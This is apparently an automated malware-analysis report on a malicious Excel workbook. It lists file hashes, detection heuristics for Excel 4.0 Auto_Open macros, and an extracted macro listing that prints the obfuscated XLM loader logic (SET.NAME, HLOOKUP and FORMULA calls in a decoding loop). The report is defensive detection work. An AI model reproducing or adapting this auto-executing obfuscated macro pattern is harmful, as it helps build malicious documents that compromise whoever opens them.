Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a305bb9529b2437…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:17 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 83fd1c541ad63baee6303665ab8f2140 SHA-1: 9cb14a799f04f69acfa16288ff85d9b99e313af8 SHA-256: 6a305bb9529b2437f6e9c1009c34e55aeb5cd58e7da9992e652b8c6dc5ff0d80
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6536 bytes
SHA-256: 27c980c6f58fb2a7df862a4717e163d88685fe6dd2128230dcadb77c7280f545
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GOGZoSaqV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F168 
' 0018     20 LABEL : Cell Value, String Constant - BLQcn len=0 
' 0018     22 LABEL : Cell Value, String Constant - crGDXZE len=0 
' 0018     24 LABEL : Cell Value, String Constant - eBjFidjPy len=0 
' 0018     23 LABEL : Cell Value, String Constant - ecLSesjJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - gERMbLqCcg len=0 
' 0018     23 LABEL : Cell Value, String Constant - jtbIjtxt len=0 
' 0018     27 LABEL : Cell Value, String Constant - kQtNUUiOJVFn len=0 
' 0018     20 LABEL : Cell Value, String Constant - LEmEx len=0 
' 0018     20 LABEL : Cell Value, String Constant - LgAJo len=0 
' 0018     21 LABEL : Cell Value, String Constant - rIcpcM len=0 
' 0018     26 LABEL : Cell Value, String Constant - RwcAAGeFlkw len=0 
' 0018     25 LABEL : Cell Value, String Constant - SAyScvauZU len=0 
' 0018     24 LABEL : Cell Value, String Constant - UWiCpRiUH len=0 
' 0018     21 LABEL : Cell Value, String Constant - vpMJEG len=0 
' 0018     22 LABEL : Cell Value, String Constant - xjHqLRC len=0 
' 0018     24 LABEL : Cell Value, String Constant - xLldXEsPk len=0 
' 0018     22 LABEL : Cell Value, String Constant - XpUGVQh len=0 
' 0018     21 LABEL : Cell Value, String Constant - yeWtHy len=0 
' 0018     25 LABEL : Cell Value, String Constant - yNWqWRlDpo len=0 
' 0018     20 LABEL : Cell Value, String Constant - zwYQy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GOGZoSaqV,F80,"SET.NAME("LgAJo",VALUE("0"))",""
'  GOGZoSaqV,F85,"SET.NAME("kQtNUUiOJVFn",LgAJo)",""
'  GOGZoSaqV,F89,"SET.NAME("SAyScvauZU",LgAJo)",""
'  GOGZoSaqV,F94,"SET.NAME("rIcpcM",COUNTA(BLQcn))",""
'  GOGZoSaqV,F96,"SET.NAME("jtbIjtxt",COUNTA(eBjFidjPy))",""
'  GOGZoSaqV,F98,[],""
'  GOGZoSaqV,F101,"SET.NAME("UWiCpRiUH","")",""
'  GOGZoSaqV,F106,"kQtNUUiOJVFn",""
'  GOGZoSaqV,F109,"SET.NAME("crGDXZE",HLOOKUP("*",BLQcn,kQtNUUiOJVFn,FALSE))",""
'  GOGZoSaqV,F114,"xjHqLRC",""
'  GOGZoSaqV,F119,"SET.NAME("vpMJEG",LgAJo)",""
'  GOGZoSaqV,F123,[],""
'  GOGZoSaqV,F127,"vpMJEG",""
'  GOGZoSaqV,F132,"RwcAAGeFlkw",""
'  GOGZoSaqV,F135,"yNWqWRlDpo",""
'  GOGZoSaqV,F138,"XpUGVQh",""
'  GOGZoSaqV,F140,"SET.NAME("LEmEx",VALUE(HLOOKUP("*",eBjFidjPy,XpUGVQh,FALSE)))",""
'  GOGZoSaqV,F143,"xLldXEsPk",""
'  GOGZoSaqV,F146,"UWiCpRiUH",""
'  GOGZoSaqV,F148,"SAyScvauZU",""
'  GOGZoSaqV,F150,NEXT(),""
'  GOGZoSaqV,F152,"gERMbLqCcg",""
'  GOGZoSaqV,F155,"SET.NAME("f",INT(T(FORMULA(T(UWiCpRiUH)&"",""&T(gERMbLqCcg)))))",""
'  GOGZoSaqV,F159,"zwYQy",""
'  GOGZoSaqV,F161,NEXT(),""
'  GOGZoSaqV,F164,RETURN(),""
'  GOGZoSaqV,F196,"SET.NAME("ecLSesjJ",F80)",""
'  GOGZoSaqV,F201,"BLQcn",""
'  GOGZoSaqV,F206,"SET.NAME("eBjFidjPy",R48C12)",""
'  GOGZoSaqV,F210,"SET.NAME("zwYQy",218)",""
'  GOGZoSaqV,F214,"SET.NAME("yeWtHy",6)",""
'  GOGZoSaqV,F217,ecLSesjJ(),""
'  GOGZoSaqV,F218,HALT(),""

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